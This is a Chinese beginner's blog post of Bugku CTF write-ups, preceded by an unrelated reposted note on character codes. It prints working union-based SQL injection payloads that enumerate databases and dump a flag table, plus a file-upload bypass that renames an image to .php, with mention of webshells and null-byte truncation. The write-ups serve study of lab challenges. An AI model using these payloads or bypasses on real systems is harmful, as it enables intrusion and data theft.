超级小白,几道简单的ctf

转]汉字 ASCII码 由浏览器的实现url编码实现
  (2012-08-16 11:14:56)
转载
标签:  
杂谈
 
用alt+数字能打出一个字或一个字符,这个数字就是ascii码。 ascii码可以根据http编码算出,比如说我要查“我爱你”这三个字的ascii码,首先要知道他们的http编码,进入百度贴吧,输入“我爱你”, 点击搜索,地址栏会出现一串很长的地址,为了简化这个地址,点击左上角主题列表左边的“我爱你吧”,就会出现简化的地址,也就是 http://tieba.baidu.com/f?kw=�Ұ��� kw=后面的�Ұ���就是http编码,把所有的%都去掉,变成CED2B0AEC4E3,因为一个字占2个字符,一个字符 需要2个数字或字母作为代码,所以一个字就取4个数字或字母,也就是 我CED2 爱B0AE 你C4E3,然后使用系统自带的计算器把他们变为10进制(开始——所有程序——附件——计算器),查看——科学型,这个ascii码需要一个字一个字计 算,先算“我”,先选择十六进制,再输入CED2,然后选择十进制,上面的数字就会变成52946,也就是说alt+52946能打出“我”字,同样的方 法,先选择十六进制,再输入B0AE,然后选择十进制,上面的数字就会变成45230,也就是说alt+45230能打出“爱”字,再用这种方 法,alt+50403能打出“你”字。 52946我 45230爱 50403你 49834陋 51922室 50170铭


1.  这是一张单纯的图片

超级小白,几道简单的ctf_第1张图片

点开链接后我们发现这就是张普通的图片,所以用winhex

 

 

超级小白,几道简单的ctf_第2张图片

 

发现有一段转义序列如图,然后将其放入Unicode解码,转成ASCII码

 

超级小白,几道简单的ctf_第3张图片

得到key{you areright}


2.

成绩单

3/22

超级小白,几道简单的ctf_第4张图片

 

题目链接:http://120.24.86.145:8002/chengjidan/

超级小白,几道简单的ctf_第5张图片

看到这道题,感觉上是白茫茫一片。

按照ctf的一些思路,笔者用burp抓包没有从中发现什么端倪,再打开F12的工具中也没在html中发现什么端倪。所以,简单地排除了这些稀奇古怪的思路,从而判断这是一个sql注入的题目。

但是,,里面的1,2,3。。。代表着什么呢?是一串数字还是什么提示?

输入1,得到

超级小白,几道简单的ctf_第6张图片

输入2

超级小白,几道简单的ctf_第7张图片

我们猜测我们传入的参数是  id    ,基本上差不多了吧。

接下来就是判断字段名的个数

我直接用union select 1,2,3,4,...来猜测多少字段,试了几回后发现是四个字段:

四个字段猜测的表单内容如下:

-1' union select 1,2,3,4 #

只显示一行,我们已经定位了2,3,4

接下来就是套路拳了

-1' union select 1,group_concat(schema_name),3,4 frominformation_schema.schemata#

超级小白,几道简单的ctf_第8张图片

发现一个特别一些的数据库skctf_flag

接下来找此库的表名

-1' union select 1,group_concat(table_name),3,4 frominformation_schema.tables where table_schema = 0x736B6374665F666C6167 #

超级小白,几道简单的ctf_第9张图片

我们找fl4g的字段

-1' union select 1,group_concat(column_name),3,4 frominformation_schema.columns where table_schema = 0x736B6374665F666C6167 #

反正这个库是6个字段,(笔者按数据库查字段,没按表去查字段),那么我们要找的fl4g这个表的字段数在6以内。

接下来一边判断字段数一边看看shctf_flag这个字段的值。

我只写最终判断字段数的输入啊,省略了判断字段数的步骤了。

-1' union select 1,2,3,4 from skctf_flag.fl4g #

接下来就看我们要找的字段的值

-1' union select 1,group_concat(skctf_flag)

,3,4 from skctf_flag.fl4g #

超级小白,几道简单的ctf_第10张图片

经过提交,我们flag是正确的。

 

1.奇怪的密码

超级小白,几道简单的ctf_第11张图片

当我们看到这段码时我们发现这个和flag有些相似,所以我们比较ASCII值,发现

Flag的ASCII是103 110 100 107

Gndk的是102108  97  103

发现其中的规律是ASCII值逐渐减1

以此类推我们可以得到整个这段码的值是flag{lei_ci_jiami}

1.         2.超级小白,几道简单的ctf_第12张图片

Nevergiveup

当我们打开链接后发现是这样的

超级小白,几道简单的ctf_第13张图片

什么也没有,所以只能查看源代码了,我们发现了这个东西

我们访问这个http://120.24.86.145:8006/test/1p.html

 超级小白,几道简单的ctf_第14张图片

可得到一段特别长的URL编码,我们用base64解密后再用URL解码最后可得f4l2a3g.txt,最后我们访问http://120.24.86.145:8006/test/f4l2a3g.txt的得到flag

超级小白,几道简单的ctf_第15张图片

5.

文件上传测试

原题链接:

http://ctf.bugku.com/challenges#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%8B%E8%AF%95

超级小白,几道简单的ctf_第16张图片

进入题目链接,超级小白,几道简单的ctf_第17张图片

要求是传一个不大于1MB的php文件。

我随便上传一个php后缀的文件

超级小白,几道简单的ctf_第18张图片

 超级小白,几道简单的ctf_第19张图片

但是题目显示我们还得上传图片文件

然后我们直接上传一个图片文件,

 超级小白,几道简单的ctf_第20张图片

返回的信息又显示它确实要求php文件

接下来我们的思路就明晰了,就像平常在上传图片的时候我们却上传一个php文件的一句话木马一样。在这道题中,题目只要求上传php文件。就是修改个后缀就行。

(其实如果服务器的php53.4之前的话,我们修改了后缀还上传不了的话,一般是%00去截断尝试一下)

打开burp,设置好代理后我们开始修改后缀

首先我们上传正常图片

超级小白,几道简单的ctf_第21张图片

开启burp的拦截

然后提交

超级小白,几道简单的ctf_第22张图片

已经栏包了

我们把这里改一改,在jpg后面加.php

放包

我们就得到flag

超级小白,几道简单的ctf_第23张图片

在得到这个flag的时候,因为显示的32位,我以为是md5加密,但是多个网站解密无果。

所以,这应该就是flag的真面目了。

提交后显示了正确的回显。

 

6.18/3/30

你必须让他停下

原题链接:

http://120.24.86.145:8002/web12/

超级小白,几道简单的ctf_第24张图片

在做这道题的时候我都不知道在做什么。

超级小白,几道简单的ctf_第25张图片

当时屏幕花白,网页一直在跳动。我还以为是等那张有ctf字样的东西出来的一瞬间看到我们的flag。于是此时萌生了把数据包拦截下来做成自己的一个html文件。

但是突然又品味了题目中的这句话。

说是什么停下来看到熊猫,你就得到flag了。

我突然意识到,这服务器发过来的页面里面应该有一个让我隔几秒就向服务器请求数据包的一个js脚本。也就是说,让我把来来往往的几个轮回的数据包里面的图片搞出来。

只能是打开burp,多次拦截看看有没有什么提示信息的东西。

超级小白,几道简单的ctf_第26张图片

我半手动地拦截了这么多数据包,只能根据包的大小看响应信息里面的内容。

最终,我在上图的web12中看到了我期盼的flag。

Json是一个类似于数组和小型数据存储的一个东西,看多了php和js的人差不多对这个名字的数据包比较敏感。

但是,json中没有flag,或者,如果我没在其他包中看到flag我再才会想办法在json中找东西。

但是,我在web这个766大小的包里面找到了flag。

超级小白,几道简单的ctf_第27张图片

 

 


你可能感兴趣的:(超级小白,几道简单的ctf)